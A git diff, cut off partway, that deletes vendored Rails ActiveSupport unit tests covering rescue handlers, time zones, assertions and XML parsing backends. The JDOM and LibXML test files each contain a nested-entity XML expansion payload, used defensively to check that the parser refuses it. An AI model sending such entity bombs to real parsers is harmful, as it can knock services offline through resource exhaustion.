diff --git a/vendor/rails/activesupport/test/rescuable_test.rb b/vendor/rails/activesupport/test/rescuable_test.rb
deleted file mode 100644
index 9f2b783b..00000000
--- a/vendor/rails/activesupport/test/rescuable_test.rb
+++ /dev/null
@@ -1,75 +0,0 @@
-require 'abstract_unit'
-
-class WraithAttack < StandardError
-end
-
-class NuclearExplosion < StandardError
-end
-
-class MadRonon < StandardError
-  attr_accessor :message
-  
-  def initialize(message)
-    @message = message
-    super()
-  end
-end
-
-class Stargate
-  attr_accessor :result
-
-  include ActiveSupport::Rescuable
-
-  rescue_from WraithAttack, :with => :sos
-
-  rescue_from NuclearExplosion do
-    @result = 'alldead'
-  end
-  
-  rescue_from MadRonon do |e|
-    @result = e.message
-  end
-
-  def dispatch(method)
-    send(method)
-  rescue Exception => e
-    rescue_with_handler(e)
-  end
-
-  def attack
-    raise WraithAttack
-  end
-
-  def nuke
-    raise NuclearExplosion
-  end
-
-  def ronanize
-    raise MadRonon.new("dex")
-  end
-
-  def sos
-    @result = 'killed'
-  end
-end
-
-class RescueableTest < Test::Unit::TestCase
-  def setup
-    @stargate = Stargate.new
-  end
-
-  def test_rescue_from_with_method
-    @stargate.dispatch :attack
-    assert_equal 'killed', @stargate.result
-  end
-  
-  def test_rescue_from_with_block
-    @stargate.dispatch :nuke
-    assert_equal 'alldead', @stargate.result
-  end
-  
-  def test_rescue_from_with_block_with_args
-    @stargate.dispatch :ronanize
-    assert_equal 'dex', @stargate.result
-  end  
-end
diff --git a/vendor/rails/activesupport/test/safe_buffer_test.rb b/vendor/rails/activesupport/test/safe_buffer_test.rb
deleted file mode 100644
index 7684d77e..00000000
--- a/vendor/rails/activesupport/test/safe_buffer_test.rb
+++ /dev/null
@@ -1,36 +0,0 @@
-require 'abstract_unit'
-
-class SafeBufferTest < ActiveSupport::TestCase
-  def setup
-    @buffer = ActiveSupport::SafeBuffer.new
-  end
-
-  test "Should look like a string" do
-    assert @buffer.is_a?(String)
-    assert_equal "", @buffer
-  end
-
-  test "Should not escape a raw string unless using rails_xss" do
-    @buffer << "<script>"
-    assert_equal "<script>", @buffer
-  end
-
-  test "Should NOT escape a safe value passed to it" do
-    @buffer << "<script>".html_safe
-    assert_equal "<script>", @buffer
-  end
-
-  test "Should not mess with an innocuous string" do
-    @buffer << "Hello"
-    assert_equal "Hello", @buffer
-  end
-
-  test "Should be considered safe" do
-    assert @buffer.html_safe?
-  end
-
-  test "Should return a safe buffer when calling to_s" do
-    new_buffer = @buffer.to_s
-    assert_equal ActiveSupport::SafeBuffer, new_buffer.class
-  end
-end
diff --git a/vendor/rails/activesupport/test/secure_random_test.rb b/vendor/rails/activesupport/test/secure_random_test.rb
deleted file mode 100644
index 44694cd8..00000000
--- a/vendor/rails/activesupport/test/secure_random_test.rb
+++ /dev/null
@@ -1,19 +0,0 @@
-require 'abstract_unit'
-
-class SecureRandomTest < Test::Unit::TestCase
-  def test_random_bytes
-    b1 = ActiveSupport::SecureRandom.random_bytes(64)
-    b2 = ActiveSupport::SecureRandom.random_bytes(64)
-    assert_not_equal b1, b2
-  end
-
-  def test_hex
-    b1 = ActiveSupport::SecureRandom.hex(64)
-    b2 = ActiveSupport::SecureRandom.hex(64)
-    assert_not_equal b1, b2
-  end
-
-  def test_random_number
-    assert ActiveSupport::SecureRandom.random_number(5000) < 5000
-  end
-end
diff --git a/vendor/rails/activesupport/test/string_inquirer_test.rb b/vendor/rails/activesupport/test/string_inquirer_test.rb
deleted file mode 100644
index 7f11f667..00000000
--- a/vendor/rails/activesupport/test/string_inquirer_test.rb
+++ /dev/null
@@ -1,15 +0,0 @@
-require 'abstract_unit'
-
-class StringInquirerTest < Test::Unit::TestCase
-  def test_match
-    assert ActiveSupport::StringInquirer.new("production").production?
-  end
-
-  def test_miss
-    assert !ActiveSupport::StringInquirer.new("production").development?
-  end
-
-  def test_missing_question_mark
-    assert_raise(NoMethodError) { ActiveSupport::StringInquirer.new("production").production }
-  end
-end
diff --git a/vendor/rails/activesupport/test/test_case_test.rb b/vendor/rails/activesupport/test/test_case_test.rb
deleted file mode 100644
index 7e65c630..00000000
--- a/vendor/rails/activesupport/test/test_case_test.rb
+++ /dev/null
@@ -1,57 +0,0 @@
-require 'abstract_unit'
-
-module ActiveSupport
-  class TestCaseTest < ActiveSupport::TestCase
-    class FakeRunner
-      attr_reader :puked
-
-      def initialize
-        @puked = []
-      end
-
-      def puke(klass, name, e)
-        @puked << [klass, name, e]
-      end
-    end
-
-    if defined?(MiniTest::Assertions) && TestCase < MiniTest::Assertions
-      def test_callback_with_exception
-        tc = Class.new(TestCase) do
-          setup :bad_callback
-          def bad_callback; raise 'oh noes' end
-          def test_true; assert true end
-        end
-
-        test_name = 'test_true'
-        fr = FakeRunner.new
-
-        test = tc.new test_name
-        test.run fr
-        klass, name, exception = *fr.puked.first
-
-        assert_equal tc, klass
-        assert_equal test_name, name
-        assert_equal 'oh noes', exception.message
-      end
-
-      def test_teardown_callback_with_exception
-        tc = Class.new(TestCase) do
-          teardown :bad_callback
-          def bad_callback; raise 'oh noes' end
-          def test_true; assert true end
-        end
-
-        test_name = 'test_true'
-        fr = FakeRunner.new
-
-        test = tc.new test_name
-        test.run fr
-        klass, name, exception = *fr.puked.first
-
-        assert_equal tc, klass
-        assert_equal test_name, name
-        assert_equal 'oh noes', exception.message
-      end
-    end
-  end
-end
diff --git a/vendor/rails/activesupport/test/test_test.rb b/vendor/rails/activesupport/test/test_test.rb
deleted file mode 100644
index 5851980b..00000000
--- a/vendor/rails/activesupport/test/test_test.rb
+++ /dev/null
@@ -1,188 +0,0 @@
-require 'abstract_unit'
-
-class AssertDifferenceTest < ActiveSupport::TestCase
-  def setup
-    @object = Class.new do
-      attr_accessor :num 
-      def increment
-        self.num += 1
-      end
-
-      def decrement
-        self.num -= 1
-      end
-    end.new    
-    @object.num = 0
-  end
-
-  if lambda { }.respond_to?(:binding)
-    def test_assert_no_difference
-      assert_no_difference '@object.num' do
-        # ...
-      end
-    end
-
-    def test_assert_difference
-      assert_difference '@object.num', +1 do
-        @object.increment
-      end
-    end
-
-    def test_assert_difference_with_implicit_difference
-      assert_difference '@object.num' do
-        @object.increment
-      end
-    end
-
-    def test_arbitrary_expression
-      assert_difference '@object.num + 1', +2 do
-        @object.increment
-        @object.increment
-      end
-    end
-
-    def test_negative_differences
-      assert_difference '@object.num', -1 do
-        @object.decrement
-      end
-    end
-
-    def test_expression_is_evaluated_in_the_appropriate_scope
-      local_scope = 'foo'
-      silence_warnings do
-        assert_difference('local_scope; @object.num') { @object.increment }
-      end
-    end
-
-    def test_array_of_expressions
-      assert_difference [ '@object.num', '@object.num + 1' ], +1 do
-        @object.increment
-      end
-    end
-
-    def test_array_of_expressions_identify_failure
-      assert_difference ['@object.num', '1 + 1'] do
-        @object.increment
-      end
-      fail 'should not get to here'
-    rescue Exception => e
-      assert_match(/didn't change by/, e.message)
-      assert_match(/expected but was/, e.message)
-    end
-
-    def test_array_of_expressions_identify_failure_when_message_provided
-      assert_difference ['@object.num', '1 + 1'], 1, 'something went wrong' do
-        @object.increment
-      end
-      fail 'should not get to here'
-    rescue Exception => e
-      assert_match(/something went wrong/, e.message)
-      assert_match(/didn't change by/, e.message)
-      assert_match(/expected but was/, e.message)
-    end
-  else
-    def default_test; end
-  end
-end
-
-class AssertBlankTest < ActiveSupport::TestCase
-  BLANK = [ EmptyTrue.new, nil, false, '', '   ', "  \n\t  \r ", [], {} ]
-  NOT_BLANK = [ EmptyFalse.new, Object.new, true, 0, 1, 'x', [nil], { nil => 0 } ]
-  
-  def test_assert_blank_true
-    BLANK.each { |v| assert_blank v }
-  end
-  
-  def test_assert_blank_false
-    NOT_BLANK.each { |v|
-      begin 
-        assert_blank v
-        fail 'should not get to here'
-      rescue Exception => e
-        assert_match(/is not blank/, e.message) 
-      end  
-    }
-  end
-end
-
-class AssertPresentTest < ActiveSupport::TestCase
-  BLANK = [ EmptyTrue.new, nil, false, '', '   ', "  \n\t  \r ", [], {} ]
-  NOT_BLANK = [ EmptyFalse.new, Object.new, true, 0, 1, 'x', [nil], { nil => 0 } ]
-  
-  def test_assert_blank_true
-    NOT_BLANK.each { |v| assert_present v }
-  end
-  
-  def test_assert_blank_false
-    BLANK.each { |v|
-      begin 
-        assert_present v
-        fail 'should not get to here'
-      rescue Exception => e
-        assert_match(/is blank/, e.message) 
-      end  
-    }
-  end
-end
-
-# These should always pass
-if ActiveSupport::Testing.const_defined?(:Default)
-  class NotTestingThingsTest < Test::Unit::TestCase
-    include ActiveSupport::Testing::Default
-  end
-end
-
-class AlsoDoingNothingTest < ActiveSupport::TestCase
-end
-
-# Setup and teardown callbacks.
-class SetupAndTeardownTest < ActiveSupport::TestCase
-  setup :reset_callback_record, :foo
-  teardown :foo, :sentinel, :foo
-
-  def test_inherited_setup_callbacks
-    assert_equal [:reset_callback_record, :foo], self.class.setup_callback_chain.map(&:method)
-    assert_equal [:foo], @called_back
-    assert_equal [:foo, :sentinel, :foo], self.class.teardown_callback_chain.map(&:method)
-  end
-
-  def setup
-  end
-
-  def teardown
-  end
-
-  protected
-    def reset_callback_record
-      @called_back = []
-    end
-
-    def foo
-      @called_back << :foo
-    end
-
-    def sentinel
-      assert_equal [:foo, :foo], @called_back
-    end
-end
-
-
-class SubclassSetupAndTeardownTest < SetupAndTeardownTest
-  setup :bar
-  teardown :bar
-
-  def test_inherited_setup_callbacks
-    assert_equal [:reset_callback_record, :foo, :bar], self.class.setup_callback_chain.map(&:method)
-    assert_equal [:foo, :bar], @called_back
-    assert_equal [:foo, :sentinel, :foo, :bar], self.class.teardown_callback_chain.map(&:method)
-  end
-
-  protected
-    def bar
-      @called_back << :bar
-    end
-
-    def sentinel
-      assert_equal [:foo, :bar, :bar, :foo], @called_back
-    end
-end
diff --git a/vendor/rails/activesupport/test/time_zone_test.rb b/vendor/rails/activesupport/test/time_zone_test.rb
deleted file mode 100644
index c12c74b0..00000000
--- a/vendor/rails/activesupport/test/time_zone_test.rb
+++ /dev/null
@@ -1,285 +0,0 @@
-require 'abstract_unit'
-
-class TimeZoneTest < Test::Unit::TestCase
-  def test_utc_to_local
-    zone = ActiveSupport::TimeZone['Eastern Time (US & Canada)']
-    assert_equal Time.utc(1999, 12, 31, 19), zone.utc_to_local(Time.utc(2000, 1)) # standard offset -0500
-    assert_equal Time.utc(2000, 6, 30, 20), zone.utc_to_local(Time.utc(2000, 7)) # dst offset -0400
-  end
-
-  def test_local_to_utc
-    zone = ActiveSupport::TimeZone['Eastern Time (US & Canada)']
-    assert_equal Time.utc(2000, 1, 1, 5), zone.local_to_utc(Time.utc(2000, 1)) # standard offset -0500
-    assert_equal Time.utc(2000, 7, 1, 4), zone.local_to_utc(Time.utc(2000, 7)) # dst offset -0400
-  end
-
-  def test_period_for_local
-    zone = ActiveSupport::TimeZone['Eastern Time (US & Canada)']
-    assert_instance_of TZInfo::TimezonePeriod, zone.period_for_local(Time.utc(2000))
-  end
-
-  ActiveSupport::TimeZone::MAPPING.keys.each do |name|
-    define_method("test_map_#{name.downcase.gsub(/[^a-z]/, '_')}_to_tzinfo") do
-      zone = ActiveSupport::TimeZone[name]
-      assert zone.tzinfo.respond_to?(:period_for_local)
-    end
-  end
-
-  def test_from_integer_to_map
-    assert_instance_of ActiveSupport::TimeZone, ActiveSupport::TimeZone[-28800] # PST
-  end
-
-  def test_from_duration_to_map
-    assert_instance_of ActiveSupport::TimeZone, ActiveSupport::TimeZone[-480.minutes] # PST
-  end
-
-  ActiveSupport::TimeZone.all.each do |zone|
-    name = zone.name.downcase.gsub(/[^a-z]/, '_')
-    define_method("test_from_#{name}_to_map") do
-      assert_instance_of ActiveSupport::TimeZone, ActiveSupport::TimeZone[zone.name]
-    end
-
-    define_method("test_zones_map_for_#{name}") do
-      assert_equal ActiveSupport::TimeZone.zones_map[zone.name], zone
-    end
-  end
-
-  def test_now
-    with_env_tz 'US/Eastern' do
-      Time.stubs(:now).returns(Time.local(2000))
-      zone = ActiveSupport::TimeZone['Eastern Time (US & Canada)']
-      assert_instance_of ActiveSupport::TimeWithZone, zone.now
-      assert_equal Time.utc(2000,1,1,5), zone.now.utc
-      assert_equal Time.utc(2000), zone.now.time
-      assert_equal zone, zone.now.time_zone
-    end
-  end
-
-  def test_now_enforces_spring_dst_rules
-    with_env_tz 'US/Eastern' do
-      Time.stubs(:now).returns(Time.local(2006,4,2,2)) # 2AM springs forward to 3AM
-      zone = ActiveSupport::TimeZone['Eastern Time (US & Canada)']
-      assert_equal Time.utc(2006,4,2,3), zone.now.time
-      assert_equal true, zone.now.dst?
-    end
-  end
-
-  def test_now_enforces_fall_dst_rules
-    with_env_tz 'US/Eastern' do
-      Time.stubs(:now).returns(Time.at(1162098000)) # equivalent to 1AM DST
-      zone = ActiveSupport::TimeZone['Eastern Time (US & Canada)']
-      assert_equal Time.utc(2006,10,29,1), zone.now.time
-      assert_equal true, zone.now.dst?
-    end
-  end
-
-  def test_unknown_timezones_delegation_to_tzinfo
-    zone = ActiveSupport::TimeZone['America/Montevideo']
-    begin
-      require 'tzinfo/country'
-    rescue LoadError
-      # using vendored tzinfo which doesn't have tzinfo/country
-      assert_nil zone
-    else
-      assert_equal ActiveSupport::TimeZone, zone.class
-      assert_equal zone.object_id, ActiveSupport::TimeZone['America/Montevideo'].object_id
-      assert_equal Time.utc(2010, 1, 31, 22), zone.utc_to_local(Time.utc(2010, 2)) # daylight saving offset -0200
-      assert_equal Time.utc(2010, 3, 31, 21), zone.utc_to_local(Time.utc(2010, 4)) # standard offset -0300
-    end
-  end
-
-  def test_today
-    Time.stubs(:now).returns(Time.utc(2000, 1, 1, 4, 59, 59)) # 1 sec before midnight Jan 1 EST
-    assert_equal Date.new(1999, 12, 31), ActiveSupport::TimeZone['Eastern Time (US & Canada)'].today
-    Time.stubs(:now).returns(Time.utc(2000, 1, 1, 5)) # midnight Jan 1 EST
-    assert_equal Date.new(2000, 1, 1), ActiveSupport::TimeZone['Eastern Time (US & Canada)'].today
-    Time.stubs(:now).returns(Time.utc(2000, 1, 2, 4, 59, 59)) # 1 sec before midnight Jan 2 EST
-    assert_equal Date.new(2000, 1, 1), ActiveSupport::TimeZone['Eastern Time (US & Canada)'].today
-    Time.stubs(:now).returns(Time.utc(2000, 1, 2, 5)) # midnight Jan 2 EST
-    assert_equal Date.new(2000, 1, 2), ActiveSupport::TimeZone['Eastern Time (US & Canada)'].today
-  end
-
-  def test_local
-    time = ActiveSupport::TimeZone["Hawaii"].local(2007, 2, 5, 15, 30, 45)
-    assert_equal Time.utc(2007, 2, 5, 15, 30, 45), time.time
-    assert_equal ActiveSupport::TimeZone["Hawaii"], time.time_zone
-  end
-
-  def test_local_with_old_date
-    time = ActiveSupport::TimeZone["Hawaii"].local(1850, 2, 5, 15, 30, 45)
-    assert_equal [45,30,15,5,2,1850], time.to_a[0,6]
-    assert_equal ActiveSupport::TimeZone["Hawaii"], time.time_zone
-  end
-
-  def test_local_enforces_spring_dst_rules
-    zone = ActiveSupport::TimeZone['Eastern Time (US & Canada)']
-    twz = zone.local(2006,4,2,1,59,59) # 1 second before DST start
-    assert_equal Time.utc(2006,4,2,1,59,59), twz.time
-    assert_equal Time.utc(2006,4,2,6,59,59), twz.utc
-    assert_equal false, twz.dst?
-    assert_equal 'EST', twz.zone
-    twz2 = zone.local(2006,4,2,2) # 2AM does not exist because at 2AM, time springs forward to 3AM
-    assert_equal Time.utc(2006,4,2,3), twz2.time # twz is created for 3AM
-    assert_equal Time.utc(2006,4,2,7), twz2.utc
-    assert_equal true, twz2.dst?
-    assert_equal 'EDT', twz2.zone
-    twz3 = zone.local(2006,4,2,2,30) # 2:30AM does not exist because at 2AM, time springs forward to 3AM
-    assert_equal Time.utc(2006,4,2,3,30), twz3.time # twz is created for 3:30AM
-    assert_equal Time.utc(2006,4,2,7,30), twz3.utc
-    assert_equal true, twz3.dst?
-    assert_equal 'EDT', twz3.zone
-  end
-
-  def test_local_enforces_fall_dst_rules
-    # 1AM during fall DST transition is ambiguous, it could be either DST or non-DST 1AM
-    # Mirroring Time.local behavior, this method selects the DST time
-    zone = ActiveSupport::TimeZone['Eastern Time (US & Canada)']
-    twz = zone.local(2006,10,29,1)
-    assert_equal Time.utc(2006,10,29,1), twz.time
-    assert_equal Time.utc(2006,10,29,5), twz.utc
-    assert_equal true, twz.dst?
-    assert_equal 'EDT', twz.zone
-  end
-
-  def test_at
-    zone = ActiveSupport::TimeZone['Eastern Time (US & Canada)']
-    secs = 946684800.0
-    twz = zone.at(secs)
-    assert_equal Time.utc(1999,12,31,19), twz.time
-    assert_equal Time.utc(2000), twz.utc
-    assert_equal zone, twz.time_zone
-    assert_equal secs, twz.to_f
-  end
-
-  def test_at_with_old_date
-    zone = ActiveSupport::TimeZone['Eastern Time (US & Canada)']
-    secs = DateTime.civil(1850).to_f
-    twz = zone.at(secs)
-    assert_equal [1850, 1, 1, 0], [twz.utc.year, twz.utc.mon, twz.utc.day, twz.utc.hour]
-    assert_equal zone, twz.time_zone
-    assert_equal secs, twz.to_f
-  end
-
-  def test_parse
-    zone = ActiveSupport::TimeZone['Eastern Time (US & Canada)']
-    twz = zone.parse('1999-12-31 19:00:00')
-    assert_equal Time.utc(1999,12,31,19), twz.time
-    assert_equal Time.utc(2000), twz.utc
-    assert_equal zone, twz.time_zone
-  end
-
-  def test_parse_string_with_timezone
-    (-11..13).each do |timezone_offset|
-      zone = ActiveSupport::TimeZone[timezone_offset]
-      twz = zone.parse('1999-12-31 19:00:00')
-      assert_equal twz, zone.parse(twz.to_s)
-    end
-  end
-
-  def test_parse_with_old_date
-    zone = ActiveSupport::TimeZone['Eastern Time (US & Canada)']
-    twz = zone.parse('1850-12-31 19:00:00')
-    assert_equal [0,0,19,31,12,1850], twz.to_a[0,6]
-    assert_equal zone, twz.time_zone
-  end
-
-  def test_parse_far_future_date_with_time_zone_offset_in_string
-    zone = ActiveSupport::TimeZone['Eastern Time (US & Canada)']
-    twz = zone.parse('2050-12-31 19:00:00 -10:00') # i.e., 2050-01-01 05:00:00 UTC
-    assert_equal [0,0,0,1,1,2051], twz.to_a[0,6]
-    assert_equal zone, twz.time_zone
-  end
-
-  def test_parse_returns_nil_when_string_without_date_information_is_passed_in
-    zone = ActiveSupport::TimeZone['Eastern Time (US & Canada)']
-    assert_nil zone.parse('foobar')
-    assert_nil zone.parse('   ')
-  end
-
-  def test_parse_with_incomplete_date
-    zone = ActiveSupport::TimeZone['Eastern Time (US & Canada)']
-    zone.stubs(:now).returns zone.local(1999,12,31)
-    twz = zone.parse('19:00:00')
-    assert_equal Time.utc(1999,12,31,19), twz.time
-  end
-
-  def test_utc_offset_lazy_loaded_from_tzinfo_when_not_passed_in_to_initialize
-    tzinfo = TZInfo::Timezone.get('America/New_York')
-    zone = ActiveSupport::TimeZone.create(tzinfo.name, nil, tzinfo)
-    assert_equal nil, zone.instance_variable_get('@utc_offset')
-    assert_equal(-18_000, zone.utc_offset)
-  end
-
-  def test_formatted_offset_positive
-    zone = ActiveSupport::TimeZone['Moscow']
-    assert_equal "+03:00", zone.formatted_offset
-    assert_equal "+0300", zone.formatted_offset(false)
-  end
-
-  def test_formatted_offset_negative
-    zone = ActiveSupport::TimeZone['Eastern Time (US & Canada)']
-    assert_equal "-05:00", zone.formatted_offset
-    assert_equal "-0500", zone.formatted_offset(false)
-  end
-
-  def test_formatted_offset_zero
-    zone = ActiveSupport::TimeZone['London']
-    assert_equal "+00:00", zone.formatted_offset
-    assert_equal "UTC", zone.formatted_offset(true, 'UTC')
-  end
-
-  def test_zone_compare
-    zone1 = ActiveSupport::TimeZone['Central Time (US & Canada)'] # offset -0600
-    zone2 = ActiveSupport::TimeZone['Eastern Time (US & Canada)'] # offset -0500
-    assert zone1 < zone2
-    assert zone2 > zone1
-    assert zone1 == zone1
-  end
-
-  def test_zone_match
-    zone = ActiveSupport::TimeZone['Eastern Time (US & Canada)']
-    assert zone =~ /Eastern/
-    assert zone =~ /New_York/
-    assert zone !~ /Nonexistent_Place/
-  end
-
-  def test_to_s
-    assert_equal "(GMT+03:00) Moscow", ActiveSupport::TimeZone['Moscow'].to_s
-  end
-
-  def test_all_sorted
-    all = ActiveSupport::TimeZone.all
-    1.upto( all.length-1 ) do |i|
-      assert all[i-1] < all[i]
-    end
-  end
-
-  def test_index
-    assert_nil ActiveSupport::TimeZone["bogus"]
-    assert_instance_of ActiveSupport::TimeZone, ActiveSupport::TimeZone["Central Time (US & Canada)"]
-    assert_instance_of ActiveSupport::TimeZone, ActiveSupport::TimeZone[8]
-    assert_raise(ArgumentError) { ActiveSupport::TimeZone[false] }
-  end
-
-  def test_unknown_zones_dont_store_mapping_keys
-    ActiveSupport::TimeZone["bogus"]
-    assert !ActiveSupport::TimeZone.zones_map.key?("bogus")
-  end
-
-  def test_new
-    assert_equal ActiveSupport::TimeZone["Central Time (US & Canada)"], ActiveSupport::TimeZone.new("Central Time (US & Canada)")
-  end
-
-  def test_us_zones
-    assert ActiveSupport::TimeZone.us_zones.include?(ActiveSupport::TimeZone["Hawaii"])
-    assert !ActiveSupport::TimeZone.us_zones.include?(ActiveSupport::TimeZone["Kuala Lumpur"])
-  end
-
-  protected
-    def with_env_tz(new_tz = 'US/Eastern')
-      old_tz, ENV['TZ'] = ENV['TZ'], new_tz
-      yield
-    ensure
-      old_tz ? ENV['TZ'] = old_tz : ENV.delete('TZ')
-    end
-end
diff --git a/vendor/rails/activesupport/test/whiny_nil_test.rb b/vendor/rails/activesupport/test/whiny_nil_test.rb
deleted file mode 100644
index 009d9794..00000000
--- a/vendor/rails/activesupport/test/whiny_nil_test.rb
+++ /dev/null
@@ -1,50 +0,0 @@
-# Stub to enable testing without Active Record
-module ActiveRecord
-  class Base
-    def save!
-    end
-  end
-end
-
-require 'abstract_unit'
-require 'active_support/whiny_nil'
-
-class WhinyNilTest < Test::Unit::TestCase
-  def test_unchanged
-    nil.method_thats_not_in_whiners
-  rescue NoMethodError => nme
-    assert(nme.message =~ /nil:NilClass/)
-  end
-
-  def test_active_record
-    nil.save!
-  rescue NoMethodError => nme
-    assert(!(nme.message =~ /nil:NilClass/))
-    assert_match(/nil\.save!/, nme.message)
-  end
-
-  def test_array
-    nil.each
-  rescue NoMethodError => nme
-    assert(!(nme.message =~ /nil:NilClass/))
-    assert_match(/nil\.each/, nme.message)
-  end
-
-  def test_id
-    nil.id
-  rescue RuntimeError => nme
-    assert(!(nme.message =~ /nil:NilClass/))
-  end
-
-  def test_no_to_ary_coercion
-    nil.to_ary
-  rescue NoMethodError => nme
-    assert(nme.message =~ /nil:NilClass/)
-  end
-
-  def test_no_to_str_coercion
-    nil.to_str
-  rescue NoMethodError => nme
-    assert(nme.message =~ /nil:NilClass/)
-  end
-end
diff --git a/vendor/rails/activesupport/test/xml_mini/jdom_engine_test.rb b/vendor/rails/activesupport/test/xml_mini/jdom_engine_test.rb
deleted file mode 100644
index b7452289..00000000
--- a/vendor/rails/activesupport/test/xml_mini/jdom_engine_test.rb
+++ /dev/null
@@ -1,153 +0,0 @@
-require 'abstract_unit'
-require 'active_support/xml_mini'
-
-if RUBY_PLATFORM =~ /java/
-
-class JDOMEngineTest < Test::Unit::TestCase
-  include ActiveSupport
-
-  def setup
-    @default_backend = XmlMini.backend
-    XmlMini.backend = 'JDOM'
-  end
-
-  def teardown
-    XmlMini.backend = @default_backend
-  end
-
-  # def test_file_from_xml
-  #   hash = Hash.from_xml(<<-eoxml)
-  #     <blog>
-  #       <logo type="file" name="logo.png" content_type="image/png">
-  #       </logo>
-  #     </blog>
-  #   eoxml
-  #   assert hash.has_key?('blog')
-  #   assert hash['blog'].has_key?('logo')
-  #
-  #   file = hash['blog']['logo']
-  #   assert_equal 'logo.png', file.original_filename
-  #   assert_equal 'image/png', file.content_type
-  # end
-
-  def test_exception_thrown_on_expansion_attack
-    assert_raise NativeException do
-      attack_xml = <<-EOT
-      <?xml version="1.0" encoding="UTF-8"?>
-      <!DOCTYPE member [
-        <!ENTITY a "&b;&b;&b;&b;&b;&b;&b;&b;&b;&b;">
-        <!ENTITY b "&c;&c;&c;&c;&c;&c;&c;&c;&c;&c;">
-        <!ENTITY c "&d;&d;&d;&d;&d;&d;&d;&d;&d;&d;">
-        <!ENTITY d "&e;&e;&e;&e;&e;&e;&e;&e;&e;&e;">
-        <!ENTITY e "&f;&f;&f;&f;&f;&f;&f;&f;&f;&f;">
-        <!ENTITY f "&g;&g;&g;&g;&g;&g;&g;&g;&g;&g;">
-        <!ENTITY g "xxxxxxxxxxxxxxxxxxxxxxxxxxxxxx">
-      ]>
-      <member>
-      &a;
-      </member>
-      EOT
-      Hash.from_xml(attack_xml)
-    end
-  end
-
-  def test_setting_JDOM_as_backend
-    XmlMini.backend = 'JDOM'
-    assert_equal XmlMini_JDOM, XmlMini.backend
-  end
-
-  def test_blank_returns_empty_hash
-    assert_equal({}, XmlMini.parse(nil))
-    assert_equal({}, XmlMini.parse(''))
-  end
-
-  def test_array_type_makes_an_array
-    assert_equal_rexml(<<-eoxml)
-      <blog>
-        <posts type="array">
-          <post>a post</post>
-          <post>another post</post>
-        </posts>
-      </blog>
-    eoxml
-  end
-
-  def test_one_node_document_as_hash
-    assert_equal_rexml(<<-eoxml)
-    <products/>
-    eoxml
-  end
-
-  def test_one_node_with_attributes_document_as_hash
-    assert_equal_rexml(<<-eoxml)
-    <products foo="bar"/>
-    eoxml
-  end
-
-  def test_products_node_with_book_node_as_hash
-    assert_equal_rexml(<<-eoxml)
-    <products>
-      <book name="awesome" id="12345" />
-    </products>
-    eoxml
-  end
-
-  def test_products_node_with_two_book_nodes_as_hash
-    assert_equal_rexml(<<-eoxml)
-    <products>
-      <book name="awesome" id="12345" />
-      <book name="america" id="67890" />
-    </products>
-    eoxml
-  end
-
-  def test_single_node_with_content_as_hash
-    assert_equal_rexml(<<-eoxml)
-      <products>
-        hello world
-      </products>
-    eoxml
-  end
-
-  def test_children_with_children
-    assert_equal_rexml(<<-eoxml)
-    <root>
-      <products>
-        <book name="america" id="67890" />
-      </products>
-    </root>
-    eoxml
-  end
-
-  def test_children_with_text
-    assert_equal_rexml(<<-eoxml)
-    <root>
-      <products>
-        hello everyone
-      </products>
-    </root>
-    eoxml
-  end
-
-  def test_children_with_non_adjacent_text
-    assert_equal_rexml(<<-eoxml)
-    <root>
-      good
-      <products>
-        hello everyone
-      </products>
-      morning
-    </root>
-    eoxml
-  end
-
-  private
-  def assert_equal_rexml(xml)
-    hash = XmlMini.with_backend('REXML') { XmlMini.parse(xml) }
-    assert_equal(hash, XmlMini.parse(xml))
-  end
-end
-
-else
-  # don't run these test because we aren't running in JRuby
-end
diff --git a/vendor/rails/activesupport/test/xml_mini/libxml_engine_test.rb b/vendor/rails/activesupport/test/xml_mini/libxml_engine_test.rb
deleted file mode 100644
index dcff6366..00000000
--- a/vendor/rails/activesupport/test/xml_mini/libxml_engine_test.rb
+++ /dev/null
@@ -1,204 +0,0 @@
-require 'abstract_unit'
-require 'active_support/xml_mini'
-
-begin
-  gem 'libxml-ruby'
-rescue Gem::LoadError
-  # Skip nokogiri tests
-else
-
-require 'libxml'
-
-class NokogiriEngineTest < Test::Unit::TestCase
-  include ActiveSupport
-
-  def setup
-    @default_backend = XmlMini.backend
-    XmlMini.backend = 'LibXML'
-  end
-
-  def teardown
-    XmlMini.backend = @default_backend
-  end
-
-  def test_file_from_xml
-    hash = Hash.from_xml(<<-eoxml)
-      <blog>
-        <logo type="file" name="logo.png" content_type="image/png">
-        </logo>
-      </blog>
-    eoxml
-    assert hash.has_key?('blog')
-    assert hash['blog'].has_key?('logo')
-
-    file = hash['blog']['logo']
-    assert_equal 'logo.png', file.original_filename
-    assert_equal 'image/png', file.content_type
-  end
-
-  def test_exception_thrown_on_expansion_attack
-    assert_raise LibXML::XML::Error do
-      attack_xml = <<-EOT
-      <?xml version="1.0" encoding="UTF-8"?>
-      <!DOCTYPE member [
-        <!ENTITY a "&b;&b;&b;&b;&b;&b;&b;&b;&b;&b;">
-        <!ENTITY b "&c;&c;&c;&c;&c;&c;&c;&c;&c;&c;">
-        <!ENTITY c "&d;&d;&d;&d;&d;&d;&d;&d;&d;&d;">
-        <!ENTITY d "&e;&e;&e;&e;&e;&e;&e;&e;&e;&e;">
-        <!ENTITY e "&f;&f;&f;&f;&f;&f;&f;&f;&f;&f;">
-        <!ENTITY f "&g;&g;&g;&g;&g;&g;&g;&g;&g;&g;">
-        <!ENTITY g "xxxxxxxxxxxxxxxxxxxxxxxxxxxxxx">
-      ]>
-      <member>
-      &a;
-      </member>
-      EOT
-      Hash.from_xml(attack_xml)
-    end
-  end
-
-  def test_setting_nokogiri_as_backend
-    XmlMini.backend = 'LibXML'
-    assert_equal XmlMini_LibXML, XmlMini.backend
-  end
-
-  def test_blank_returns_empty_hash
-    assert_equal({}, XmlMini.parse(nil))
-    assert_equal({}, XmlMini.parse(''))
-  end
-
-  def test_array_type_makes_an_array
-    assert_equal_rexml(<<-eoxml)
-      <blog>
-        <posts type="array">
-          <post>a post</post>
-          <post>another post</post>
-        </posts>
-      </blog>
-    eoxml
-  end
-
-  def test_one_node_document_as_hash
-    assert_equal_rexml(<<-eoxml)
-    <products/>
-    eoxml
-  end
-
-  def test_one_node_with_attributes_document_as_hash
-    assert_equal_rexml(<<-eoxml)
-    <products foo="bar"/>
-    eoxml
-  end
-
-  def test_products_node_with_book_node_as_hash
-    assert_equal_rexml(<<-eoxml)
-    <products>
-      <book name="awesome" id="12345" />
-    </products>
-    eoxml
-  end
-
-  def test_products_node_with_two_book_nodes_as_hash
-    assert_equal_rexml(<<-eoxml)
-    <products>
-      <book name="awesome" id="12345" />
-      <book name="america" id="67890" />
-    </products>
